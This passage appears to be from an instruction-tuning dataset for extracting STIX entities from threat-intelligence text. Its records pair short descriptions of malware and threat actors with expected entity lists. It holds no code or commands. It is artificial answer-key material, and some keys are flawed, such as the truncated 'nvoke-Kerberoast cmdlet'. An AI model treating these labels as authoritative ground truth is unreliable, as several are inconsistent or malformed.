    "input": "### Text Passage:\nHilalRAT is a remote access-capable Android malware, developed and used by UNC788.\n",
    "output": "<entities>HilalRAT|UNC788|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCarbonSteal is one of a family of four surveillanceware tools that share a common C2 infrastructure. CarbonSteal primarily deals with audio surveillance.\n",
    "output": "<entities>CarbonSteal|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCSPY Downloader can use the schtasks utility to bypass UAC.\n",
    "output": "<entities>CSPY Downloader|schtasks</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPhenakite is a mobile malware that is used by APT-C-23 to target iOS devices. According to several reports, Phenakite was developed to fill a tooling gap and to target those who owned iPhones instead of Windows desktops or Android phones.\n",
    "output": "<entities>Phenakite|APT-C-23|Android|iOS|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRCSession is a backdoor written in C++ that has been in use since at least 2018 by Mustang Panda and by Threat Group-3390 (Type II Backdoor).\n",
    "output": "<entities>RCSession|Mustang Panda|Threat Group-3390|C++</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWireLurker is a family of macOS malware that targets iOS devices connected over USB.\n",
    "output": "<entities>WireLurker|iOS|macOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIt is known by other security firms as Shathak.  Proofpoint assesses with high confidence TA551 gains access to stolen messages or compromised email accounts \u2013 also known as thread hijacking \u2013 which it uses in email campaigns to distribute malware. TA551 has previously distributed malware payloads such as Ursnif, IcedID, Qbot, and Emotet.\n",
    "output": "<entities>Shathak|Ursnif|IcedID|Qbot|Emotet|TA551|Proofpoint</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLslsass can dump active logon session password hashes from the lsass process.\n",
    "output": "<entities>Lslsass</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCorona Updates is Android spyware that took advantage of the Coronavirus pandemic. The campaign distributing this spyware is tracked as Project Spy. Multiple variants of this spyware have been discovered to have been hosted on the Google Play Store.\n",
    "output": "<entities>Corona Updates|Android|Project Spy|Google Play</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHelminth splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.\n",
    "output": "<entities>Helminth|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDaserf leverages Mimikatz and Windows Credential Editor to steal credentials.\n",
    "output": "<entities>Daserf|Mimikatz|Windows Credential Editor</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRover automatically searches for files on local drives based on a predefined list of file extensions and sends them to the command and control server every 60 minutes. Rover also automatically sends keylogger files and screenshots to the C2 server on a regular timeframe.\n",
    "output": "<entities>Rover|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nYAHOYAH decrypts downloaded files before execution.\n",
    "output": "<entities>YAHOYAH</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFysbis has the ability to delete files.\n",
    "output": "<entities>Fysbis</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEVILNUM has changed the creation date of files.\n",
    "output": "<entities>EVILNUM</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWizard Spider has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.\n",
    "output": "<entities>Wizard Spider|Rubeus|MimiKatz Kerberos|nvoke-Kerberoast cmdlet</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLizar is a modular remote access tool written using the .NET Framework that shares structural similarities to Carbanak. It has likely been used by FIN7 since at least February 2021.\n",
    "output": "<entities>Lizar|Carbanak|FIN7|.NET</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPeirates is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.\n",
    "output": "<entities>Peirates|GitHub|Kubernetes|GoLang</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
